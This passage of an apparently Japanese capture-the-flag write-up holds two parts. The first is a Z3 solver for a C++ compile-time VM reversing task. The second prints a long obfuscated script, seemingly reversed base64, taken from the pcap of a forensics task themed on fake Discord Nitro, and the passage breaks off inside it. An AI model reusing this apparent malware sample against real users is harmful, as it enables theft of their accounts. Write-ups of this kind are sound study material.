10), insn_t(10, 3, 4226755821), insn_t(8, 3, 2624879637), insn_t(8, 3, 1381275708), insn_t(2, 3, 3310620882), insn_t(2, 3, 2475591380), insn_t(8, 3, 405408383), insn_t(2, 3, 2291319543), insn_t(0, 12, 12), insn_t(8, 3, 4144538489), insn_t(2, 3, 3878256896), insn_t(6, 11, 10), insn_t(10, 3, 2243529248), insn_t(10, 3, 561931268), insn_t(11, 11, 12), insn_t(10, 3, 3076955709), insn_t(18, 12, 13), insn_t(8, 3, 2019584073), insn_t(10, 13, 12), insn_t(8, 3, 1712479912), insn_t(18, 11, 11), insn_t(2, 3, 2804447380), insn_t(17, 10, 10), insn_t(10, 3, 2957126100), insn_t(18, 13, 13), insn_t(8, 3, 1368187437), insn_t(17, 10, 12), insn_t(8, 3, 3586129298), insn_t(10, 4, 1229526732), insn_t(19, 11, 11), insn_t(10, 4, 2759768797), insn_t(1, 10, 13), insn_t(2, 4, 2112449396), insn_t(10, 4, 1212917601), insn_t(2, 4, 1524771736), insn_t(8, 4, 3146530277), insn_t(2, 4, 2997906889), insn_t(16, 12, 10), insn_t(8, 4, 4135691751), insn_t(8, 4, 1960868242), insn_t(6, 12, 12), insn_t(10, 4, 2775657353), insn_t(16, 10, 13), insn_t(8, 4, 1451259226), insn_t(8, 4, 607382171), insn_t(13, 13, 13), insn_t(10, 4, 357643050), insn_t(2, 4, 2020402776), insn_t(8, 5, 2408165152), insn_t(13, 12, 10), insn_t(2, 5, 806913563), insn_t(10, 5, 772591592), insn_t(20, 13, 11), insn_t(2, 5, 2211018781), insn_t(10, 5, 2523354879), insn_t(8, 5, 2549720391), insn_t(2, 5, 3908178996), insn_t(2, 5, 1299171929), insn_t(8, 5, 512513885), insn_t(10, 5, 2617924552), insn_t(1, 12, 13), insn_t(8, 5, 390960442), insn_t(12, 11, 13), insn_t(8, 5, 1248271133), insn_t(8, 5, 2114382155), insn_t(1, 10, 13), insn_t(10, 5, 2078863299), insn_t(20, 12, 12), insn_t(8, 5, 2857504053), insn_t(10, 5, 4271947727), insn_t(2, 6, 2238126367), insn_t(2, 6, 1544827193), insn_t(8, 6, 4094800187), insn_t(2, 6, 3461906189), insn_t(10, 6, 1812592759), insn_t(2, 6, 1506702473), insn_t(8, 6, 536175198), insn_t(2, 6, 1303821297), insn_t(8, 6, 715409343), insn_t(2, 6, 4094566992), insn_t(14, 10, 11), insn_t(2, 6, 1890141105), insn_t(0, 13, 13), insn_t(2, 6, 3143319360), insn_t(10, 7, 696930856), insn_t(2, 7, 926450200), insn_t(8, 7, 352056373), insn_t(20, 13, 11), insn_t(10, 7, 3857703071), insn_t(8, 7, 3212660135), insn_t(5, 12, 10), insn_t(10, 7, 3854876250), insn_t(21, 12, 11), insn_t(8, 7, 3648688720), insn_t(2, 7, 2732629817), insn_t(4, 10, 12), insn_t(10, 7, 2285138643), insn_t(18, 10, 13), insn_t(2, 7, 2255852466), insn_t(2, 7, 2537336944), insn_t(3, 10, 13), insn_t(2, 7, 4257606405), insn_t(10, 8, 3703184638), insn_t(7, 11, 10), insn_t(10, 8, 2165056562), insn_t(8, 8, 2217220568), insn_t(19, 10, 12), insn_t(8, 8, 2088084496), insn_t(15, 13, 10), insn_t(8, 8, 443074220), insn_t(16, 13, 12), insn_t(10, 8, 1298336973), insn_t(2, 13, 11), insn_t(8, 8, 822378456), insn_t(19, 11, 12), insn_t(8, 8, 2154711985), insn_t(0, 11, 12), insn_t(10, 8, 430757325), insn_t(2, 12, 10), insn_t(2, 8, 2521672196), insn_t(10, 9, 532704100), insn_t(10, 9, 2519542932), insn_t(2, 9, 2451309277), insn_t(2, 9, 3957445476), insn_t(5, 10, 10), insn_t(8, 9, 2583554449), insn_t(10, 9, 1149665327), insn_t(12, 13, 12), insn_t(8, 9, 3053959226), insn_t(0, 10, 10), insn_t(8, 9, 3693780276), insn_t(15, 11, 10), insn_t(2, 9, 609918789), insn_t(2, 9, 2778221635), insn_t(16, 13, 10), insn_t(8, 9, 3133754553), insn_t(8, 11, 13), insn_t(8, 9, 3961507338), insn_t(2, 9, 1829237263), insn_t(16, 11, 13), insn_t(2, 9, 2472519933), insn_t(6, 12, 12), insn_t(8, 9, 4061630846), insn_t(10, 9, 1181684786), insn_t(13, 10, 11), insn_t(10, 9, 390349075), insn_t(8, 9, 2883917626), insn_t(10, 9, 3733394420), insn_t(10, 12, 12), insn_t(2, 9, 3895283827), insn_t(20, 10, 11), insn_t(2, 9, 2257053750), insn_t(10, 9, 2770821931), insn_t(18, 10, 13), insn_t(2, 9, 477834410), insn_t(19, 13, 12), insn_t(3, 0, 1), insn_t(12, 12, 12), insn_t(3, 1, 2), insn_t(11, 13, 11), insn_t(3, 2, 3), insn_t(3, 3, 4), insn_t(3, 4, 5), insn_t(1, 13, 13), insn_t(3, 5, 6), insn_t(7, 11, 11), insn_t(3, 6, 7), insn_t(4, 10, 12), insn_t(3, 7, 8), insn_t(18, 12, 12), insn_t(3, 8, 9), insn_t(21, 12, 10), insn_t(3, 9, 10)>;
    static_assert(program::registers[0] == 0x3ee88722 && program::registers[1] == 0xecbdbe2 && program::registers[2] == 0x60b843c4 && program::registers[3] == 0x5da67c7 && program::registers[4] == 0x171ef1e9 && program::registers[5] == 0x52d5b3f7 && program::registers[6] == 0x3ae718c0 && program::registers[7] == 0x8b4aacc2 && program::registers[8] == 0xe5cf78dd && program::registers[9] == 0x4a848edf && program::registers[10] == 0x8f && program::registers[11] == 0x4180000 && program::registers[12] == 0x0 && program::registers[13] == 0xd && program::registers[14] == 0x0, "Ah! Your flag is invalid.");
}

ぱっとみ複雑そうな感じでしたが、前半部分はほとんどが [[maybe_unused]] auto flag = "HTB{___________________________________}"_flag; で定義している 40 文字の Flag 文字列を後に Flag.at(Insn.op1) で 1 文字ずつ取り出せるようにするためだけの処理でしたので無視できます。

このコードの中で特に重要なのは以下です。

struct insn_t {
    uint32_t opcode = 0;
    uint32_t op0 = 0;
    uint32_t op1 = 0;
};

template<flag_t Flag, insn_t... Instructions>
struct program_t {
    using R = std::array<uint32_t, 15>;

    template<insn_t Insn>
    static constexpr void execute_one(R &regs) {
        if constexpr (Insn.opcode == 0) {
            regs[Insn.op0] = Flag.at(Insn.op1);
        } else if constexpr (Insn.opcode == 1) {
            regs[Insn.op0] = Insn.op1;
		/* 省略 */
    }

    template<std::size_t... Is>
    static constexpr void execute_impl(R &regs, std::index_sequence<Is...>) {
        (execute_one<Instructions>(regs), ...);
    }

    static constexpr void execute(R &regs) {
        execute_impl(regs, std::make_index_sequence<sizeof...(Instructions)>{});
    }

    static constexpr R registers = []() -> R {
        R arr = {};
        execute(arr);
        return arr;
    }();
};

まず、insn_t では後程 VM に渡されるオペランドとオペコードの構造を定義しています。

続く programt のテンプレートでは、Flag 文字列、空の配列 regs、insnt として渡される命令の 3 つを用いて演算が繰り返されます。

例えば、insn_t(0, 14, 2) の場合は、opcode が 0 で op0 と op1 がそれぞれ 14 と 2 なので regs[14] = Flag.at(2) という命令が実行されることになります。

これらの命令をすべて実行した後、最終的に regs の値がハードコードされた値と一致するような Flag 文字列が正解の Flag となります。

最終的に以下の Solver を作成し、Z3 で Flag を取得しました。

import re
from z3 import *

def rotl(value, shift):
    n = (shift & 0xFFFFFFFF) % 32
    return ((value << n) | (value >> (32 - n))) & 0xFFFFFFFF

def rotr(value, shift):
    n = (shift & 0xFFFFFFFF) % 32
    return (value >> n) | (value << (32 - n)) & 0xFFFFFFFF

flag = [BitVec(f"flag[{i}]", 32) for i in range(40)]
s = Solver()
s.add(flag[0] == ord("H"))
s.add(flag[1] == ord("T"))
s.add(flag[2] == ord("B"))
s.add(flag[3] == ord("{"))
s.add(flag[40-1] == ord("}"))
for i in range(40):
    s.add(And(
        (flag[i] >= 0x21),
        (flag[i] <= 0x7e)
    ))
regs = [BitVec(f"regs[{i}]", 32) for i in range(15)]
for i in range(15):
    regs[i] = 0

acts = "(12, 13, 10),(21, 0, 0),(0, 13, 13),(0, 14, 0),(15, 11, 12),(24, 14, 0),(5, 0, 14),(0, 14, 1),(7, 11, 11),(24, 14, 8),(5, 0, 14),(0, 14, 2),(2, 10, 11),(24, 14, 16),(18, 12, 11),(5, 0, 14),(0, 14, 3),(0, 11, 11),(24, 14, 24),(13, 10, 10),(5, 0, 14),(2, 11, 13),(21, 1, 0),(0, 14, 4),(24, 14, 0),(5, 1, 14),(6, 11, 12),(0, 14, 5),(8, 10, 10),(24, 14, 8),(11, 12, 11),(5, 1, 14),(0, 14, 6),(0, 12, 10),(24, 14, 16),(9, 10, 13),(5, 1, 14),(0, 14, 7),(13, 12, 12),(24, 14, 24),(15, 10, 12),(5, 1, 14),(21, 2, 0),(20, 13, 13),(0, 14, 8),(24, 14, 0),(19, 10, 11),(5, 2, 14),(6, 12, 10),(0, 14, 9),(8, 11, 11),(24, 14, 8),(5, 2, 14),(0, 14, 10),(4, 11, 12),(24, 14, 16),(5, 2, 14),(0, 14, 11),(24, 14, 24),(4, 13, 12),(5, 2, 14),(21, 3, 0),(14, 10, 12),(0, 14, 12),(13, 10, 11),(24, 14, 0),(16, 10, 10),(5, 3, 14),(5, 11, 12),(0, 14, 13),(12, 10, 13),(24, 14, 8),(2, 10, 13),(5, 3, 14),(20, 11, 11),(0, 14, 14),(24, 14, 16),(18, 13, 11),(5, 3, 14),(6, 11, 13),(0, 14, 15),(24, 14, 24),(4, 11, 10),(5, 3, 14),(21, 4, 0),(15, 13, 11),(0, 14, 16),(6, 10, 10),(24, 14, 0),(14, 10, 12),(5, 4, 14),(0, 14, 17),(12, 13, 13),(24, 14, 8),(19, 11, 10),(5, 4, 14),(0, 14, 18),(17, 13, 12),(24, 14, 16),(5, 4, 14),(0, 14, 19),(24, 14, 24),(21, 12, 10),(5, 4, 14),(13, 13, 10),(21, 5, 0),(0, 14, 20),(19, 10, 13),(24, 14, 0),(5, 5, 14),(0, 14, 21),(24, 14, 8),(8, 13, 13),(5, 5, 14),(0, 14, 22),(16, 13, 11),(24, 14, 16),(10, 10, 13),(5, 5, 14),(7, 10, 12),(0, 14, 23),(19, 13, 10),(24, 14, 24),(5, 5, 14),(17, 12, 10),(21, 6, 0),(16, 11, 10),(0, 14, 24),(24, 14, 0),(10, 11, 10),(5, 6, 14),(0, 14, 25),(24, 14, 8),(7, 10, 12),(5, 6, 14),(0, 14, 26),(16, 12, 11),(24, 14, 16),(3, 11, 10),(5, 6, 14),(15, 11, 13),(0, 14, 27),(4, 12, 13),(24, 14, 24),(5, 6, 14),(14, 11, 13),(21, 7, 0),(0, 14, 28),(21, 13, 11),(24, 14, 0),(7, 12, 11),(5, 7, 14),(17, 11, 10),(0, 14, 29),(24, 14, 8),(5, 7, 14),(0, 14, 30),(12, 10, 10),(24, 14, 16),(5, 7, 14),(0, 14, 31),(20, 10, 10),(24, 14, 24),(5, 7, 14),(21, 8, 0),(18, 10, 12),(0, 14, 32),(9, 11, 11),(24, 14, 0),(21, 12, 11),(5, 8, 14),(0, 14, 33),(24, 14, 8),(19, 10, 13),(5, 8, 14),(8, 12, 13),(0, 14, 34),(24, 14, 16),(5, 8, 14),(8, 10, 10),(0, 14, 35),(24, 14, 24),(21, 13, 10),(5, 8, 14),(0, 12, 10),(21, 9, 0),(0, 14, 36),(24, 14, 0),(5, 9, 14),(17, 11, 11),(0, 14, 37),(14, 10, 13),(24, 14, 8),(5, 9, 14),(4, 10, 11),(0, 14, 38),(13, 11, 13),(24, 14, 16),(5, 9, 14),(0, 14, 39),(10, 11, 10),(24, 14, 24),(20, 13, 13),(5, 9, 14),(6, 12, 11),(21, 14, 0),(8, 0, 2769503260),(10, 0, 997841014),(19, 12, 11),(2, 0, 4065997671),(5, 13, 11),(8, 0, 690011675),(15, 11, 11),(8, 0, 540576667),(2, 0, 1618285201),(8, 0, 1123989331),(8, 0, 1914950564),(8, 0, 4213669998),(21, 13, 11),(8, 0, 1529621790),(10, 0, 865446746),(2, 10, 11),(8, 0, 449019059),(16, 13, 11),(8, 0, 906976959),(6, 10, 10),(8, 0, 892028723),(10, 0, 1040131328),(2, 0, 3854135066),(2, 0, 4133925041),(2, 0, 1738396966),(2, 12, 12),(8, 0, 550277338),(10, 0, 1043160697),(2, 1, 1176768057),(10, 1, 2368952475),(8, 12, 11),(2, 1, 2826144967),(8, 1, 1275301297),(10, 1, 2955899422),(2, 1, 2241699318),(12, 11, 10),(8, 1, 537794314),(11, 13, 10),(8, 1, 473021534),(17, 12, 13),(8, 1, 2381227371),(10, 1, 3973380876),(10, 1, 1728990628),(6, 11, 13),(8, 1, 2974252696),(0, 11, 11),(8, 1, 1912236055),(2, 1, 3620744853),(3, 10, 13),(2, 1, 2628426447),(11, 13, 12),(10, 1, 486914414),(16, 11, 12),(10, 1, 1187047173),(14, 12, 11),(2, 2, 3103274804),(13, 10, 10),(8, 2, 3320200805),(8, 2, 3846589389),(1, 13, 13),(2, 2, 2724573159),(10, 2, 1483327425),(2, 2, 1957985324),(14, 13, 12),(10, 2, 1467602691),(8, 2, 3142557962),(2, 13, 12),(2, 2, 2525769395),(8, 2, 3681119483),(8, 12, 11),(10, 2, 1041439413),(10, 2, 1042206298),(2, 2, 527001246),(20, 10, 13),(10, 2, 855860613),(8, 10, 10),(8, 2, 1865979270),(1, 13, 10),(8, 2, 2752636085),(2, 2, 1389650363),(10, 2, 2721642985),(18, 10, 11),(8, 2, 3276518041),(15, 10, 10),(2, 2, 1965130376),(2, 3, 3557111558),(2, 3, 3031574352),(16, 12, 10),(10, 3, 4226755821),(8, 3, 2624879637),(8, 3, 1381275708),(2, 3, 3310620882),(2, 3, 2475591380),(8, 3, 405408383),(2, 3, 2291319543),(0, 12, 12),(8, 3, 4144538489),(2, 3, 3878256896),(6, 11, 10),(10, 3, 2243529248),(10, 3, 561931268),(11, 11, 12),(10, 3, 3076955709),(18, 12, 13),(8, 3, 2019584073),(10, 13, 12),(8, 3, 1712479912),(18, 11, 11),(2, 3, 2804447380),(17, 10, 10),(10, 3, 2957126100),(18, 13, 13),(8, 3, 1368187437),(17, 10, 12),(8, 3, 3586129298),(10, 4, 1229526732),(19, 11, 11),(10, 4, 2759768797),(1, 10, 13),(2, 4, 2112449396),(10, 4, 1212917601),(2, 4, 1524771736),(8, 4, 3146530277),(2, 4, 2997906889),(16, 12, 10),(8, 4, 4135691751),(8, 4, 1960868242),(6, 12, 12),(10, 4, 2775657353),(16, 10, 13),(8, 4, 1451259226),(8, 4, 607382171),(13, 13, 13),(10, 4, 357643050),(2, 4, 2020402776),(8, 5, 2408165152),(13, 12, 10),(2, 5, 806913563),(10, 5, 772591592),(20, 13, 11),(2, 5, 2211018781),(10, 5, 2523354879),(8, 5, 2549720391),(2, 5, 3908178996),(2, 5, 1299171929),(8, 5, 512513885),(10, 5, 2617924552),(1, 12, 13),(8, 5, 390960442),(12, 11, 13),(8, 5, 1248271133),(8, 5, 2114382155),(1, 10, 13),(10, 5, 2078863299),(20, 12, 12),(8, 5, 2857504053),(10, 5, 4271947727),(2, 6, 2238126367),(2, 6, 1544827193),(8, 6, 4094800187),(2, 6, 3461906189),(10, 6, 1812592759),(2, 6, 1506702473),(8, 6, 536175198),(2, 6, 1303821297),(8, 6, 715409343),(2, 6, 4094566992),(14, 10, 11),(2, 6, 1890141105),(0, 13, 13),(2, 6, 3143319360),(10, 7, 696930856),(2, 7, 926450200),(8, 7, 352056373),(20, 13, 11),(10, 7, 3857703071),(8, 7, 3212660135),(5, 12, 10),(10, 7, 3854876250),(21, 12, 11),(8, 7, 3648688720),(2, 7, 2732629817),(4, 10, 12),(10, 7, 2285138643),(18, 10, 13),(2, 7, 2255852466),(2, 7, 2537336944),(3, 10, 13),(2, 7, 4257606405),(10, 8, 3703184638),(7, 11, 10),(10, 8, 2165056562),(8, 8, 2217220568),(19, 10, 12),(8, 8, 2088084496),(15, 13, 10),(8, 8, 443074220),(16, 13, 12),(10, 8, 1298336973),(2, 13, 11),(8, 8, 822378456),(19, 11, 12),(8, 8, 2154711985),(0, 11, 12),(10, 8, 430757325),(2, 12, 10),(2, 8, 2521672196),(10, 9, 532704100),(10, 9, 2519542932),(2, 9, 2451309277),(2, 9, 3957445476),(5, 10, 10),(8, 9, 2583554449),(10, 9, 1149665327),(12, 13, 12),(8, 9, 3053959226),(0, 10, 10),(8, 9, 3693780276),(15, 11, 10),(2, 9, 609918789),(2, 9, 2778221635),(16, 13, 10),(8, 9, 3133754553),(8, 11, 13),(8, 9, 3961507338),(2, 9, 1829237263),(16, 11, 13),(2, 9, 2472519933),(6, 12, 12),(8, 9, 4061630846),(10, 9, 1181684786),(13, 10, 11),(10, 9, 390349075),(8, 9, 2883917626),(10, 9, 3733394420),(10, 12, 12),(2, 9, 3895283827),(20, 10, 11),(2, 9, 2257053750),(10, 9, 2770821931),(18, 10, 13),(2, 9, 477834410),(19, 13, 12),(3, 0, 1),(12, 12, 12),(3, 1, 2),(11, 13, 11),(3, 2, 3),(3, 3, 4),(3, 4, 5),(1, 13, 13),(3, 5, 6),(7, 11, 11),(3, 6, 7),(4, 10, 12),(3, 7, 8),(18, 12, 12),(3, 8, 9),(21, 12, 10),(3, 9, 10)"
pattern = r"(\d{1,30}, \d{1,30}, \d{1,30})"
acts = re.findall(pattern,acts)

for a in acts:
    a = a.split(", ")
    opcode = int(a[0]) & 0xFFFFFFFF
    op0 = int(a[1]) & 0xFFFFFFFF
    op1 = int(a[2]) & 0xFFFFFFFF

    if opcode == 0:
        regs[op0] = flag[op1]
    elif opcode == 1:
        regs[op0] = op1
    elif opcode == 2:
        regs[op0] ^= op1
    elif opcode == 3:
        regs[op0] ^= regs[op1]
    elif opcode == 4:
        regs[op0] |= op1
    elif opcode == 5:
        regs[op0] |= regs[op1]
    elif opcode == 6:
        regs[op0] &= op1
    elif opcode == 7:
        regs[op0] &= regs[op1]
    elif opcode == 8:
        regs[op0] += op1
    elif opcode == 9:
        regs[op0] += regs[op1]
    elif opcode == 10:
        regs[op0] -= op1
    elif opcode == 11:
        regs[op0] -= regs[op1]
    elif opcode == 12:
        regs[op0] *= op1
    elif opcode == 13:
        regs[op0] *= regs[op1]
    elif opcode == 14:
        pass
    elif opcode == 15:
        pass
    elif opcode == 16:
        regs[op0] = rotr(regs[op0], op1)
    elif opcode == 17:
        regs[op0] = rotr(regs[op0], regs[op1])
    elif opcode == 18:
        regs[op0] = rotl(regs[op0], op1)
    elif opcode == 19:
        regs[op0] = rotl(regs[op0], regs[op1])
    elif opcode == 20:
        regs[op0] = regs[op1]
    elif opcode == 21:
        regs[op0] = 0
    elif opcode == 22:
        regs[op0] = (regs[op0] >> op1) & 0xFFFFFFFF
    elif opcode == 23:
        regs[op0] = (regs[op0] >> regs[op1]) & 0xFFFFFFFF
    elif opcode == 24:
        regs[op0] = (regs[op0] << op1) & 0xFFFFFFFF
    elif opcode == 25:
        regs[op0] = (regs[op0] << regs[op1]) & 0xFFFFFFFF

s.add(regs[0] == 0x3ee88722)
s.add(regs[1] == 0xecbdbe2)
s.add(regs[2] == 0x60b843c4)
s.add(regs[3] == 0x5da67c7)
s.add(regs[4] == 0x171ef1e9)
s.add(regs[5] == 0x52d5b3f7)
s.add(regs[6] == 0x3ae718c0)
s.add(regs[7] == 0x8b4aacc2)
s.add(regs[8] == 0xe5cf78dd)
s.add(regs[9] == 0x4a848edf)
s.add(regs[10] == 0x8f)
s.add(regs[11] == 0x4180000)
s.add(regs[12] == 0x0)
s.add(regs[13] == 0xd)
s.add(regs[14] == 0x0)

# print(regs)

while s.check() == sat:
    m = s.model()
    for c in flag:
        print(chr(m[c].as_long()),end="")
    print("")
    break

image-20240315232123696

Fake Boost(Forensic)

In the shadow of The Fray, a new test called ""Fake Boost"" whispers promises of free Discord Nitro perks. It’s a trap, set in a world where nothing comes without a cost. As factions clash and alliances shift, the truth behind Fake Boost could be the key to survival or downfall. Will your faction see through the deception? KORP™ challenges you to discern reality from illusion in this cunning trial.

問題バイナリとして与えられた pcap ファイルから、以下のようなスクリプトを取り出すことができます。

$jozeq3n = "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gACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIK0AIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgAiCN8yX8BCIg8yXf91XfxFIv81XfxFIv81Xf91XcBCIv81XfxFIgw3X891Xcx3Xv8FXgw3XcBCffxyXfxFIgw3X89yXf9FXf91Xc9yXf9FffxHIv81XfxHI891XfxFff91XcBCI89Ffgw3XcpQD8BCIf91Xc91XvAyLu8CIv8Ffgw1Xf91Lg8iLgwHIp8FKgwHI8BCffxHI8BCfgACX8BCfgwHI89FKgwHI8BCfgkyXoACffhCIcByXfxFI89CIvwHI8ByLf9FIg8yXfBCI8BCfgwHI8BCfK0Afgw3XvAyLg8CIvACI8BCfvACI8BCIvAyLgACIgwFIfByLf91Jgw3XfBCfgwHIgBiLgwHI8BCYfByLf91JgwHXg8FIv81Xg8Cff9FIvACfgwHI8BCfgwFIfByLcByXg8yXfdCI89FIgwnCNwHI89CIvcyLg8CInAGfgcyL8BCfn8CIvAyJgBCIg81XfByXfByXg8Ffgw3X8BCfcBCI8BCfgw3XfByXfByXgAyXf9FIf91XgAyXf9FIfxHI8BCfgwHIg81XfBCIf91Xg81Xg8FIfxHI8pQD8BCIg8CIcBCIf9FIvwHIg8FIgwHXgAyXfByLgACIgACIgACIgACIgwHIp8FKgwHIcBCfgwHI8BCIgACIgACIgACIgACIgACIgACIgkyXoACIfBCI8BCIgACIgACIgACIgACff91XgACfK0AIf91XgACIf91Xf9FIg81Xf91XgAyXf91XfBCIgACIgACIgACIgACIg8FIfByXgACIfBCIg8FIgACIgACIgACIgACIgACIgACIgACIg8FIf91Xf91XgACIgACIgACIgACIgAyXf91Xf9lCNICI0N3bI1SZ0lmcXpQDK0QfK0QKhRXYExGb1ZGJocmbpJHdTRjNlNXYC9GV6oTX0JXZ252bD5SblR3c5N1WgACIgoQDhRXYERWZ0BXeyNmblRCIrAiVJ5CZldWYuFWTzVWYkASPgEGdhREbsVnZkASXdtVZ0lnYbBCIgAiCNsTKoR3ZuVGTuMXZ0lnYkACLwACLzVGd5JGJos2YvxmQsFmbpZUby9mZz5WYyRlLy9Gdwlncj5WZkASPgEGdhREZlRHc5J3YuVGJgACIgoQDpgicvRHc5J3YuVUZ0FWZyNkLkV2Zh5WYNNXZhRCI9AicvRHc5J3YuVGJgACIgoQD5V2akACdjVmai9EZldWYuFWTzVWQtUGdhVmcDBSPgQWZnFmbh10clFGJgACIgoQDpQHelRnbpFGbwRCKzVGd5JEdldkL4YEVVpjOddmbpR2bj5WRuQHelRlLtVGdzl3UbBSPgMXZ0lnYkACIgAiCNsHIpQHelRnbpFGbwRCIskXZrRCKn5WayR3UtQHc5J3YuVEIu9Wa0Nmb1ZmCNoQD9pQDkV2Zh5WYNNXZhRCIgACIK0QfgACIgoQD9BCIgACIgACIK0QeltGJg0DI5V2SuQWZnFmbh10clFGJgACIgACIgACIgACIK0wegU2csVGIgACIgACIgoQD9BCIgACIgACIK0QK5V2akgyZulmc0NFN2U2chJUbvJnR6oTX0JXZ252bD5SblR3c5N1Wg0DI5V2SuQWZnFmbh10clFGJgACIgACIgACIgACIK0wegkiIn5WayR3UiAScl1CIl1WYO5SKoUGc5RFdldmL5V2akgCImlGIgACIgACIgoQD7BSK5V2akgCImlGIgACIK0QfgACIgoQD9BCIgACIgACIK0gVJRCI9AiVJ5CZldWYuFWTzVWYkACIgACIgACIgACIgoQD7BSZzxWZgACIgACIgAiCN0HIgACIgACIgoQDpYVSkgyZulmc0NFN2U2chJUbvJnR6oTX0JXZ252bD5SblR3c5N1Wg0DIWlkLkV2Zh5WYNNXZhRCIgACIgACIgACIgAiCNsHIpIyZulmc0NlIgEXZtASZtFmTukCKlBXeURXZn5iVJRCKgYWagACIgACIgAiCNsHIpYVSkgCImlGIgACIK0gN1IDI9ASZ6l2U5V2SuQWZnFmbh10clFGJgACIgoQD4ITMg0DIlpXaTt2YvxmQuQWZnFmbh10clFGJgACIgoQD3M1QLBlO60VZk9WTn5WakRWYQ5SeoBXYyd2b0BXeyNkL5RXayV3YlNlLtVGdzl3UbBSPgcmbpRGZhBlLkV2Zh5WYNNXZhRCIgACIK0gCNoQD9JkRPpjOdVGZv1kclhGcpNkL5hGchJ3ZvRHc5J3QukHdpJXdjV2Uu0WZ0NXeTtFI9ASZk9WTuQWZnFmbh10clFGJ7liICZ0Ti0TZk9WbkgCImlWZzxWZgACIgoQD9J0QFpjOdVGZv1kclhGcpNkL5hGchJ3ZvRHc5J3QukHdpJXdjV2Uu0WZ0NXeTtFI9ASZk9WTuQWZnFmbh10clFGJ7BSKiI0QFJSPlR2btRCKgYWalNHblBCIgAiCN03UUNkO60VZk9WTyVGawl2QukHawFmcn9GdwlncD5Se0lmc1NWZT5SblR3c5N1Wg0DIlR2bN5CZldWYuFWTzVWYksHIpIyUUNkI9UGZv1GJoAiZpV2csVGIgACIK0QfCZ0Q6oTXlR2bNJXZoBXaD5SeoBXYyd2b0BXeyNkL5RXayV3YlNlLtVGdzl3UbBSPgUGZv1kLkV2Zh5WYN